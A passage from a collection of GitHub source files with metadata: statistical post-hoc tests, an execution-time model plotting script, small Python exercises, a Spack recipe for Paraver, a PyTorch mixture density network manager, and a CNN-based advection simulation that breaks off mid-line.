two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_scheffe_%s.xls' % groups, 'w') as w:\n cv = dfN*distributions.f.ppf(coverage, dfN, dfD)\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n # calculate within group variance\n withinGroupVar = 0\n for name in group_num_dict.keys():\n withinGroupVar += (group_num_dict[name] -\n 1)*(sd_dict[name][tx]**2)\n withinGroupVar /= dfD\n withinGroupStdDev = math.sqrt(withinGroupVar)\n if withinGroupVar == 0:\n # degenerate case: within group variance is zero; set to 1e-6.\n withinGroupVar = 1e-6\n es = mean_dict[g[0]][i] - mean_dict[g[1]][tx]\n invSampleSize = 1.0 / \\\n (group_num_dict[g[0]]) + 1.0/(group_num_dict[g[1]])\n Fs = (es * es) / (withinGroupVar*invSampleSize)\n pValue = 1.0 - distributions.f.cdf(Fs / dfN, dfN, dfD)\n # confidence interval\n confInter = math.sqrt(cv*invSampleSize)*withinGroupStdDev\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n\n\ndef welchuncorrected(statfile, groupfile, coverage, outfile):\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n # the numbers of post-hoc test\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_welchuncorrected_%s.xls' % groups, 'w') as w:\n cv = dfN*distributions.f.ppf(coverage, dfN, dfD)\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n dp = meanG1 - meanG2\n varG1 = sd_dict[g[0]][tx]**2\n varG2 = sd_dict[g[1]][tx]**2\n n1 = group_num_dict[g[0]]\n n2 = group_num_dict[g[1]]\n normVarG1 = varG1 / n1\n normVarG2 = varG2 / n2\n unpooledVar = normVarG1 + normVarG2\n sqrtUnpooledVar = math.sqrt(unpooledVar)\n if unpooledVar != 0:\n # p-value\n T_statistic = -1 * abs(meanG1 - meanG2) / sqrtUnpooledVar\n dof = unpooledVar**2 / \\\n ((normVarG1**2)/(n1-1) + (normVarG2**2)/(n2-1))\n pValue = t.cdf(T_statistic, dof) * 2\n # CI\n tCritical = t.isf(0.5 * (1.0-coverage), dof)\n # 0.5 factor accounts from symmetric nature of distribution\n lowerCI = dp - tCritical*sqrtUnpooledVar\n upperCI = dp + tCritical*sqrtUnpooledVar\n else:\n if meanG1 != meanG2:\n pValue = 0.0\n # the difference (at least according to these samples) must be true as there is no variance\n else:\n pValue = 0.5\n lowerCI = dp\n upperCI = dp\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, dp, lowerCI, upperCI, pValue))\n\n\ndef tukeykramer(statfile, groupfile, coverage, outfile, preferences=None):\n qtable = QTable(preferences)\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n k = len(group_num_dict)\n q_cv = qtable.cv(1.0-coverage, k, dfD)\n cv001 = qtable.cv(0.001, k, dfD)\n cv01 = qtable.cv(0.01, k, dfD)\n cv02 = qtable.cv(0.02, k, dfD)\n cv05 = qtable.cv(0.05, k, dfD)\n cv1 = qtable.cv(0.1, k, dfD)\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_tukeykramer_%s.xls' % groups, 'w') as w:\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n # calculate within group variance\n withinGroupVar = 0\n for name in group_num_dict.keys():\n withinGroupVar += (group_num_dict[name] -\n 1)*(sd_dict[name][tx]**2)\n withinGroupVar /= dfD\n withinGroupStdDev = math.sqrt(withinGroupVar)\n if withinGroupStdDev == 0:\n # degenerate case: within group variance is zero; set to 1e-6.\n withinGroupStdDev = 1e-6\n sqrtInvSampleSize = math.sqrt(\n (1.0/group_num_dict[g[0]] + 1.0/group_num_dict[g[1]]) / 2.0\n )\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n es = meanG1 - meanG2\n qs = abs(es) / (withinGroupStdDev*sqrtInvSampleSize)\n if qs > cv001:\n pValue = '< 0.001'\n elif qs > cv01:\n pValue = '< 0.01'\n elif qs > cv02:\n pValue = '< 0.05' # < 0.02\n elif qs > cv05:\n pValue = '< 0.05'\n elif qs > cv1:\n pValue = '< 0.1'\n else:\n pValue = '>= 0.1'\n confInter = q_cv * withinGroupStdDev * sqrtInvSampleSize\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n\n\ndef gameshowell(statfile, groupfile, coverage, outfile, preferences=None):\n qtable = QTable(preferences)\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n k = len(group_num_dict)\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_gameshowell_%s.xls' % groups, 'w') as w:\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n # effect size\n es = meanG1 - meanG2\n varG1 = sd_dict[g[0]][tx]**2\n varG2 = sd_dict[g[1]][tx]**2\n n1 = group_num_dict[g[0]]\n n2 = group_num_dict[g[1]]\n vn1 = varG1 / n1\n vn2 = varG2 / n2\n if vn1 == 0:\n vn1 = 1e-6\n if vn2 == 0:\n vn2 = 1e-6\n df = (vn1 + vn2) * (vn1 + vn2)\n df /= (vn1*vn1)/(n1-1) + (vn2*vn2)/(n2-1)\n q_cv = qtable.cvInterpolate(1.0-coverage, k, df)\n cv001 = qtable.cvInterpolate(0.001, k, df)\n cv01 = qtable.cvInterpolate(0.01, k, df)\n cv02 = qtable.cvInterpolate(0.02, k, df)\n cv05 = qtable.cvInterpolate(0.05, k, df)\n cv1 = qtable.cvInterpolate(0.1, k, df)\n # calculate Games-Howell unequal variance adjustment\n varAdj = math.sqrt((vn1 + vn2) / 2.0)\n # p-value\n qs = abs(es) / varAdj\n if qs > cv001:\n pValue = '< 0.001'\n elif qs > cv01:\n pValue = '< 0.01'\n elif qs > cv02:\n pValue = '< 0.05' # < 0.02\n elif qs > cv05:\n pValue = '< 0.05'\n elif qs > cv1:\n pValue = '< 0.1'\n else:\n pValue = '>= 0.1'\n # confidence interval\n confInter = q_cv * varAdj\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/packages/bac_comp_genome/groups_CI.py","file_name":"groups_CI.py","file_ext":"py","file_size_in_byte":14189,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"}
+{"seq_id":"9216630745","text":"import argparse\nimport os\nfrom os.path import join\nimport sys\n\nimport joblib\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nmatplotlib.use('TkAgg')\n\nsys.path.append('.')\n\nfrom project.models.common import get_errors, get_model_details_for_algorithm, get_color, init_scale_from_train_set\nfrom project.models.details import get_model_filepath, ModelDetails\nfrom project.models.scale import transform_x, inverse_transform_y\nfrom project.utils.app_ids import app_name_to_id\nfrom project.utils.logger import logger\nfrom project.definitions import ROOT_DIR\nfrom project.models.data import (\n get_data_frame,\n DataFrameColumns,\n)\n\nparser = argparse.ArgumentParser(description='Model training and validation.')\nparser.add_argument('--app_name', required=True, type=str, help='app name')\nparser.add_argument('--alg', required=True, type=str, help='algorithm')\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n logger.info(args)\n app_id = app_name_to_id.get(args.app_name, None)\n\n if app_id is None:\n raise ValueError(f'missing app \"{args.app_name}\" from app map={str(app_name_to_id)}')\n\n results_filepath = join(ROOT_DIR, '..', 'execution_results/results.csv')\n results_test_filepath = os.path.join(ROOT_DIR, '..', 'execution_results/results_test.csv')\n results_train_filepath = os.path.join(ROOT_DIR, '..', 'execution_results/results_train.csv')\n df, df_err = get_data_frame(results_filepath, app_id)\n df_test, df_test_err = get_data_frame(results_test_filepath, app_id)\n df_train, df_train_err = get_data_frame(results_train_filepath, app_id)\n\n if df_err is not None or df_test_err is not None or df_train_err is not None:\n raise ValueError(f'data frame load err')\n\n x_origin = df.loc[:, df.columns != DataFrameColumns.EXECUTION_TIME]\n x_test = df_test.loc[:, df_test.columns != DataFrameColumns.EXECUTION_TIME]\n x_train = df_train.loc[:, df_train.columns != DataFrameColumns.EXECUTION_TIME]\n y = df.loc[:, df.columns == DataFrameColumns.EXECUTION_TIME]\n y_test = df_test.loc[:, df_test.columns == DataFrameColumns.EXECUTION_TIME]\n y_train = df_train.loc[:, df_train.columns == DataFrameColumns.EXECUTION_TIME]\n x_plot_train = x_train[DataFrameColumns.OVERALL_SIZE]\n y_plot_train = x_train[DataFrameColumns.CPUS]\n z_plot_train = y_train[DataFrameColumns.EXECUTION_TIME]\n x_plot_test = x_test[DataFrameColumns.OVERALL_SIZE]\n y_plot_test = x_test[DataFrameColumns.CPUS]\n z_plot_test = y_test[DataFrameColumns.EXECUTION_TIME]\n # plot data points\n ax = plt.axes(projection='3d')\n ax.set_xlabel('over', linespacing=0.1, labelpad=-12)\n ax.set_ylabel('cpus', linespacing=0.1, labelpad=-12)\n ax.set_zlabel('t', linespacing=0.1, labelpad=-15)\n ax.tick_params(\n axis='both', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n bottom=False, # ticks along the bottom edge are off\n top=False,\n left=False, # ticks along the bottom edge are off\n right=False,\n labelbottom=False,\n labeltop=False,\n labelright=False,\n labelleft=False\n )\n ax.dist = 8\n ax.scatter(x_plot_train, y_plot_train, z_plot_train, c='#2ca02c', alpha=1, label='training points')\n ax.scatter(x_plot_test, y_plot_test, z_plot_test, label='test points', c='#cc0000', alpha=1)\n # Load model details\n model_details = get_model_details_for_algorithm(args.app_name, args.alg)\n\n if model_details.scale:\n init_scale_from_train_set(model_details, app_id)\n\n x_test = pd.DataFrame(transform_x(x_test), columns=x_test.columns)\n x = pd.DataFrame(transform_x(x_origin), columns=x_origin.columns)\n # Load model\n model_filepath, err = get_model_filepath(args.alg, model_details)\n\n if err is not None:\n raise ValueError(err)\n\n model = joblib.load(model_filepath)\n z_all = model.predict(x)\n # Efficiency\n z_test = model.predict(x_test)\n z_test_inverse = inverse_transform_y(z_test)\n y_test_list = list(y_test[DataFrameColumns.EXECUTION_TIME])\n y_train_list = list(y_train[DataFrameColumns.EXECUTION_TIME])\n errors, errors_rel = get_errors(y_test_list, z_test_inverse)\n logger.info('############### SUMMARY ##################')\n logger.info('avg time [s] = %s' % str(sum(y_test_list) / len(y_test_list)))\n logger.info('avg error [s] = %s' % str(sum(errors) / len(errors)))\n logger.info('avg error relative [percentage] = %s' % str(sum(errors_rel) / len(errors_rel)))\n logger.info(f'best params: {str(model.get_params())}')\n # Plot prediction surface\n z_inverse = inverse_transform_y(z_all)\n x_plot = x_origin[DataFrameColumns.OVERALL_SIZE].to_numpy()\n y_plot = x_origin[DataFrameColumns.CPUS].to_numpy()\n ax.plot_trisurf(x_plot, y_plot, z_inverse, alpha=0.5, color=get_color(args.alg))\n fake_legend_point = matplotlib.lines.Line2D([0], [0], linestyle=\"solid\", c=get_color(args.alg))\n\n plt.margins()\n plt.gcf().autofmt_xdate()\n handles, labels = ax.get_legend_handles_labels()\n handles.append(fake_legend_point)\n labels.append(args.alg)\n ax.legend(handles, labels, loc='upper left')\n ax.view_init(elev=20., azim=140)\n model_scheme = ModelDetails(args.app_name, 1.0, True, False)\n fig_path = os.path.join(ROOT_DIR, 'models', 'figures', '_'.join([args.alg, args.app_name, 'surf.png']))\n plt.savefig(fig_path, bbox_inches='tight', pad_inches=0)\n","repo_name":"K4liber/execution_time_estimation","sub_path":"project/models/plot_surface_multi.py","file_name":"plot_surface_multi.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"36953452166","text":"import pandas as pd\n\ndef main() :\n csv = \"cleaning_copy.csv\"\n\n file = pd.read_csv(csv, index_col=0)\n df = pd.DataFrame(file)\n\n df[\"hour\"] = \"00:00\"\n #print(df.iloc[0])\n\n print(df.iloc[4])\n del df.iloc[4]\n\n\n add_to_csv(df,csv)\n\ndef add_to_csv(df,csv) :\n\n print(\"add to csv ? y/n\")\n addcsv = input()\n if addcsv == \"y\" :\n df.to_csv(csv, index=False)\n\nmain()\n","repo_name":"MugicaLaurendi/Simplon","sub_path":"Pandas/exo01/ovni.py","file_name":"ovni.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"22235106407","text":"# best average worst\r\n# O{n^2) O(n^2) O(n^2)\r\ndef exe_selection_sort(arr):\r\n for i in range( len(arr), 0, -1):\r\n max_pos = 0\r\n for j in range (0, i):\r\n if arr[j] > arr[max_pos]:\r\n max_pos = j\r\n tmp = arr[j]\r\n arr[j] = arr[max_pos]\r\n arr[max_pos]= tmp\r\n\r\ndef selection_sort(arr):\r\n\r\n # For every slot in array\r\n for fillslot in range(len(arr)-1,0,-1):\r\n positionOfMax=0\r\n\r\n # For every set of 0 to fillslot+1\r\n # find the largest element and swap it with the fillslot\r\n for location in range(1,fillslot+1):\r\n # Set maximum's location\r\n if arr[location]>arr[positionOfMax]:\r\n positionOfMax = location\r\n\r\n temp = arr[fillslot]\r\n arr[fillslot] = arr[positionOfMax]\r\n arr[positionOfMax] = temp\r\n\r\n\r\n\r\narr = [3,5,2,7,6,8,12,40,21]\r\n#selection_sort(arr)\r\nexe_selection_sort(arr)\r\nprint (arr)","repo_name":"shaokangtan/python_sandbox","sub_path":"sort and search/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40363543646","text":"import math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n\r\ndef timeConversion(s):\r\n h=int(s[0:2])\r\n \r\n if s[-2]=='P' or s[-2]=='p':\r\n if h!=12:\r\n h=12+h\r\n else:\r\n h=h \r\n return(str(h)+s[2:8])\r\n else:\r\n if h==12:\r\n return(\"00\"+s[2:8])\r\n else:\r\n return(s[:8])\r\n\r\n \r\n # Write your code here\r\n\r\nif __name__ == '__main__':\r\n \r\n s = input()\r\n\r\n result = timeConversion(s)\r\n\r\n print(result + '\\n')\r\n\r\n\r\n","repo_name":"Rutuja-Deshmukh-2091999/MyWorkplace","sub_path":"HackerRank/TIme-format.py","file_name":"TIme-format.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25537848057","text":"import random\nimport time\nfrom multiprocessing import Pool\ndef sum_random_numbers(n):\n total_sum = 0\n for i in range(n):\n total_sum += random.randint(1, 100)\n return total_sum\ndef sequential_execution():\n start_time = time.time()\n result = sum_random_numbers(10000000)# Генерация случайные чисела\n end_time = time.time()\n print(f\"Результаты последовательного: {result}\")\n print(f\"Результаты последовательного time: {end_time - start_time}s\")\ndef parallel_execution():\n start_time = time.time()\n with Pool(processes=4) as pool:\n result = pool.map(sum_random_numbers, [2500000] * 4)# Генерация случайные чисела\n end_time = time.time()\n print(f\"Результаты параллельного: {sum(result)}\")\n print(f\"Результаты параллельного time: {end_time - start_time}s\")\nif __name__ == '__main__':\n sequential_execution()\n parallel_execution()\n","repo_name":"sem7655/seti","sub_path":"2cod.py","file_name":"2cod.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31281928800","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\nimport numpy as np\nimport platform\n\n\ndef auto_select_device():\n if platform.system() == \"Darwin\" and platform.processor() == \"arm64\":\n # M-series Macs\n return torch.device(\"mps\")\n elif torch.cuda.is_available():\n return torch.device(\"cuda\")\n else:\n return torch.device(\"cpu\")\n\n\ndevice = auto_select_device()\n\n\nclass GaussianNLLLoss(nn.Module):\n def __init__(self):\n super(GaussianNLLLoss, self).__init__()\n\n def forward(self, mu, sigma, target):\n neg_log_likelihood = 0.5 * (\n torch.log(sigma**2) + ((target - mu) ** 2) / (sigma**2)\n )\n return neg_log_likelihood.mean()\n\n\nclass DataWrapper(Dataset):\n \"\"\"\n Used for wrapping raw NumPy data. Training and testing sets should be wrapped separately.\n \"\"\"\n\n def __init__(self, data, n_species):\n self.data = data\n self.n_species = n_species\n\n def __getitem__(self, index):\n \"\"\"\n Inputs contain all information: time, species concentrations, reaction rates.\n Targets only contain species concentrations.\n \"\"\"\n # species_concentration_indices = [0, 1, 2]\n species_concentration_indices = list(range(1, self.n_species + 1))\n\n inputs = self.data[index, :-1, :].astype(np.float32)\n targets = self.data[index, 1:, species_concentration_indices].astype(np.float32)\n targets = np.transpose(targets, (1, 0))\n\n return (torch.from_numpy(inputs), torch.from_numpy(targets))\n\n def __len__(self):\n return len(self.data)\n\n\nclass MDN(nn.Module):\n def __init__(\n self, input_size, hidden_size, num_layers, output_size, dropout_rate=0.0\n ):\n super(MDN, self).__init__()\n\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n\n self.lstm = nn.LSTM(\n input_size, hidden_size, num_layers, batch_first=True, dropout=dropout_rate\n )\n\n self.fc1 = nn.Linear(hidden_size, hidden_size)\n self.fc2 = nn.Linear(hidden_size, hidden_size)\n\n self.fc_out = nn.Linear(hidden_size, 2 * output_size) # mu and sigma\n\n self.relu = nn.ReLU()\n\n def forward(self, x):\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n\n out, _ = self.lstm(x, (h0, c0))\n\n out = self.fc1(out)\n out = self.relu(out)\n\n out = self.fc2(out)\n out = self.relu(out)\n\n out = self.fc_out(out)\n\n mu, sigma = torch.chunk(out, 2, dim=-1)\n sigma = torch.exp(sigma)\n\n return mu, sigma\n\n\nclass MdnManager:\n def __init__(self, n_species):\n self.n_species = n_species\n # self.n_parameters = n_parameters\n\n self.model = MDN(\n # input_size=1 + self.n_species + self.n_parameters,\n input_size=1 + self.n_species,\n hidden_size=50,\n num_layers=2,\n output_size=n_species,\n ).to(device)\n\n def load_data(self, data):\n self.simulation_data = data\n\n def prepare_data_loaders(self, batch_size=64, split=0.8):\n split_index = int(len(self.simulation_data) * split)\n train_data = self.simulation_data[:split_index]\n test_data = self.simulation_data[split_index:]\n\n train_dataset = DataWrapper(train_data, self.n_species)\n test_dataset = DataWrapper(test_data, self.n_species)\n\n self.train_loader = DataLoader(\n train_dataset, batch_size=batch_size, shuffle=True\n )\n self.test_loader = DataLoader(\n test_dataset, batch_size=batch_size, shuffle=False\n )\n\n def save_model(self, filepath):\n torch.save(self.model.state_dict(), filepath)\n print(f\"Model saved to {filepath}\")\n\n def load_model(self, filepath):\n self.model.load_state_dict(torch.load(filepath, map_location=device))\n self.model.to(device) # Move the model to the device\n self.model.eval()\n print(f\"Model loaded from {filepath} and moved to {device}\")\n\n def get_model_weights(self):\n return self.model.state_dict()\n\n def save_model_to_onnx(self, destination):\n dummy_input = torch.randn(1, 1, 1 + self.n_species).to(device)\n torch.onnx.export(self.model, dummy_input, destination, verbose=True)\n print(\"Model exported to model.onnx\")\n\n def load_onnx_model(self, filepath):\n self.model = torch.jit.load(filepath, map_location=device)\n self.model.to(device)\n\n def set_model_weights(self, weights):\n self.model.load_state_dict(weights)\n\n def train(\n self,\n exec_context,\n n_epochs=20,\n # loss_criterion=nn.MSELoss(),\n loss_criterion=GaussianNLLLoss(),\n patience=5,\n ):\n optimizer = torch.optim.Adam(self.model.parameters())\n\n # train model\n best_loss = float(\"inf\")\n epochs_no_improve = 0\n\n # progress visualisation\n progress = 0\n progress_step = 100 / n_epochs / 100\n\n for epoch in range(n_epochs):\n if exec_context.is_canceled():\n print(\"Execution cancelled.\")\n break\n\n exec_context.set_progress(progress)\n for i, (inputs, targets) in enumerate(self.train_loader):\n inputs = inputs.to(device)\n targets = targets.to(device)\n\n mu, sigma = self.model(inputs) # Get mu and sigma\n loss = loss_criterion(mu, sigma, targets) # Compute Gaussian NLL\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n progress += progress_step\n\n print(f\"Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}\")\n\n if loss.item() < best_loss:\n best_loss = loss.item()\n epochs_no_improve = 0\n torch.save(self.model.state_dict(), \"model_best_state_dict.pth\")\n else:\n epochs_no_improve += 1\n\n if epochs_no_improve == patience:\n print(\"Early stopping due to no improvement in loss.\")\n break\n\n def validate(self):\n self.model.eval()\n running_loss = 0.0\n criterion = GaussianNLLLoss()\n with torch.no_grad():\n for i, (inputs, targets) in enumerate(self.test_loader):\n inputs = inputs.float().to(device)\n targets = targets.float().to(device)\n\n mu, sigma = self.model(inputs) # Get mu and sigma\n\n loss = criterion(mu, sigma, targets)\n running_loss += loss.item()\n\n average_loss = running_loss / len(self.test_loader)\n print(f\"Validation Loss of the model on test data : {average_loss}\")\n\n def simulate(\n self,\n init_conditions,\n exec_context,\n time_step,\n n_steps=10,\n n_sims_per_condition=1,\n ):\n self.model.eval()\n all_trajectories = []\n\n progress = 0\n progress_step = 100 / len(init_conditions) / n_sims_per_condition / 100\n\n for i, init_condition in enumerate(init_conditions):\n print(\n f\"Generating trajectories for init_condition {i+1} / {len(init_conditions)}\"\n )\n\n for sim in range(n_sims_per_condition):\n if exec_context.is_canceled():\n print(\"Execution cancelled.\")\n break\n\n print(f\" Simulating trajectory {sim+1} / {n_sims_per_condition}\")\n exec_context.set_progress(progress)\n\n trajectory = [init_condition[: self.n_species + 1]]\n current_state = self.convert_numpy_to_torch(init_condition)\n timestamp = 0.0\n\n for j in range(n_steps):\n mu, sigma = self.model(current_state) # Get mu and sigma\n next_state_array = (\n mu.squeeze().detach().cpu().numpy()\n ) # Use mu as the next state\n\n timestamp += time_step\n next_state_array = np.concatenate(([timestamp], next_state_array))\n trajectory.append(np.round(next_state_array))\n\n current_state = self.convert_numpy_to_torch(next_state_array)\n\n trajectory = np.array(trajectory)\n all_trajectories.append(trajectory)\n\n progress += progress_step\n\n return np.array(all_trajectories)\n\n def convert_numpy_to_torch(self, state):\n i = torch.from_numpy(state).float().to(device)\n i = torch.unsqueeze(i, 0)\n i = torch.unsqueeze(i, 0) # emulate a batch of size 1\n return i\n","repo_name":"iusethemouse/deep-abstractions","sub_path":"extension/src/utils/mdn_manager.py","file_name":"mdn_manager.py","file_ext":"py","file_size_in_byte":8842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20068887064","text":"from spack import *\nimport os\n\nclass Paraver(Package):\n \"\"\"\"A very powerful performance visualization and analysis tool\n based on traces that can be used to analyse any information that\n is expressed on its input trace format. Traces for parallel MPI,\n OpenMP and other programs can be genereated with Extrae.\"\"\"\n homepage = \"http://www.bsc.es/computer-sciences/performance-tools/paraver\"\n url = \"http://www.bsc.es/ssl/apps/performanceTools/files/paraver-sources-4.5.2.tar.gz\"\n\n version('4.5.2', 'ea463dd494519395c99ebae294edee17')\n\n depends_on(\"boost\")\n #depends_on(\"extrae\")\n depends_on(\"wx\")\n depends_on(\"wxpropgrid\")\n\n def install(self, spec, prefix):\n os.chdir(\"ptools_common_files\")\n configure(\"--prefix=%s\" % prefix)\n make()\n make(\"install\")\n\n os.chdir(\"../paraver-kernel\")\n\t\t#\"--with-extrae=%s\" % spec['extrae'].prefix,\n configure(\"--prefix=%s\" % prefix, \"--with-ptools-common-files=%s\" % prefix, \"--with-boost=%s\" % spec['boost'].prefix, \"--with-boost-serialization=boost_serialization\")\n make()\n make(\"install\")\n\n os.chdir(\"../paraver-toolset\")\n configure(\"--prefix=%s\" % prefix)\n make()\n make(\"install\")\n\n os.chdir(\"../wxparaver\")\n\t\t#\"--with-extrae=%s\" % spec['extrae'].prefix,\n configure(\"--prefix=%s\" % prefix, \"--with-paraver=%s\" % prefix, \"--with-boost=%s\" % spec['boost'].prefix, \"--with-boost-serialization=boost_serialization\", \"--with-wxdir=%s\" % spec['wx'].prefix.bin)\n make()\n make(\"install\")\n\n","repo_name":"utkarshayachit/spack","sub_path":"var/spack/packages/paraver/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"}
+{"seq_id":"73600619467","text":"# imports\nimport time\nimport numpy as np\nfrom tensorflow import keras\nimport tensorflow as tf\nimport math\nimport sys\nassert sys.version_info >= (3, 5)\n\n\n# TensorFlow ≥2.0 is required\nassert tf.__version__ >= \"2.0\"\n\n################################ Load data and initial conditions #######################\n# Load data and set initial condition\nnx, ny = 300, 300\nT = np.zeros([nx, ny], dtype=np.float64)\ngamma = 40\n# initialise t:\nx0 = 0\ny0 = -50\nx = np.zeros([1, nx], dtype=np.float64)\ny = np.zeros([1, ny], dtype=np.float64)\n\nfor ii in range(nx):\n x[0][ii] = -150 + 300/nx*ii\n y[0][ii] = -150 + 300/nx*ii\n\n# boundary excluded: range 1-299 x 1-299, I suppose we are using Dirichlet boundary condition\nfor i in range(1, 299):\n for j in range(1, 299):\n temp1 = -((x[0][i] - x0)**2 + (y[0][j] - y0)**2)\n temp2 = 2*gamma**2\n T[i][j] = math.exp(temp1/temp2)\n\ninput_shape = (1, nx, ny, 1) # (1,300,300,1) as original problem size\n\n# default data type of np.zeros is np.float64\nmesh = np.zeros(input_shape, dtype=np.float64)\n\n# generate Gaussian with a blob\nfor i in range(nx):\n for j in range(ny):\n mesh[0][i][j][0] = T[i][j] # + Z1[i][j] + Z2[i][j] + Z3[i][j]*0.5\n\n# generate Gaussian with a blob\nfor i in range(50):\n for j in range(50):\n mesh[0][i+225][j+125][0] = mesh[0][i+225][j+125][0] + 1\n\n# values = tf.convert_to_tensor(mesh,dtype=np.float64)\nvalues = mesh\n\n################################ Initializations ####################################\nstart_time = time.perf_counter()\n\n# weight matrices\nw1 = ([[[[0.0], # upwind\n [0.2],\n [0.0]],\n\n [[0.3],\n [-1.0],\n [0.2]],\n\n [[0.0],\n [0.3],\n [0.0]]]])\n\nw2 = ([[[[0.0], # central\n [0.15],\n [0.0]],\n\n [[0.25],\n [-0.8],\n [0.15]],\n\n [[0.0],\n [0.25],\n [0.0]]]])\n\n# print(np.array(w1).shape) # shape (1,3,3,1)\ninit_kernel_1 = w1\ninit_kernel_2 = w2\n\ninit_bias = np.zeros((1,)) # filters - need change to exact value for bias\n\nkernel_initializer_1 = tf.keras.initializers.constant(\n init_kernel_1) # initializer which initialize constant tensor\nkernel_initializer_2 = tf.keras.initializers.constant(init_kernel_2)\n\nbias_initializer = tf.keras.initializers.constant(init_bias)\n\n# CNN 2D layers: now I generate CNN filters for each subdomains\n# filter 1\nCNN2D_1 = keras.models.Sequential([\n keras.layers.InputLayer(input_shape=(nx, ny, 1)),\n tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n kernel_initializer=kernel_initializer_1,\n bias_initializer=bias_initializer),\n # tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n # kernel_initializer=kernel_initializer_2,\n # bias_initializer=bias_initializer),\n])\n\n# filter 2\nCNN2D_2 = keras.models.Sequential([\n keras.layers.InputLayer(input_shape=(nx, ny, 1)),\n tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n kernel_initializer=kernel_initializer_2,\n bias_initializer=bias_initializer),\n # tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n # kernel_initializer=kernel_initializer_2,\n # bias_initializer=bias_initializer),\n])\n\n# here set up the hyperparameters to tune in the later training process\nCNN2D_1.compile(loss=\"mse\",\n optimizer=keras.optimizers.Nadam(learning_rate=0.0001, beta_1=0.9, beta_2=0.999))\nCNN2D_2.compile(loss=\"mse\",\n optimizer=keras.optimizers.Nadam(learning_rate=0.0001, beta_1=0.9, beta_2=0.999))\n\nl1_norms = np.array([])\nl2_norms = np.array([])\nlinf_norms = np.array([])\n\nfor t in range(1000):\n # one-step scheme with central scheme\n # a = CNN2D_2.predict(values)\n # values += a\n\n # two-step scheme with central scheme\n a = CNN2D_2.predict(values)\n b = (a + values)\n c = (b + values)*0.5\n d = CNN2D_2.predict(c)\n values += d\n\n # if t %10 == 0: # save the l1 norm and l2 norm of result per 10 timesteps\n l1_norms = 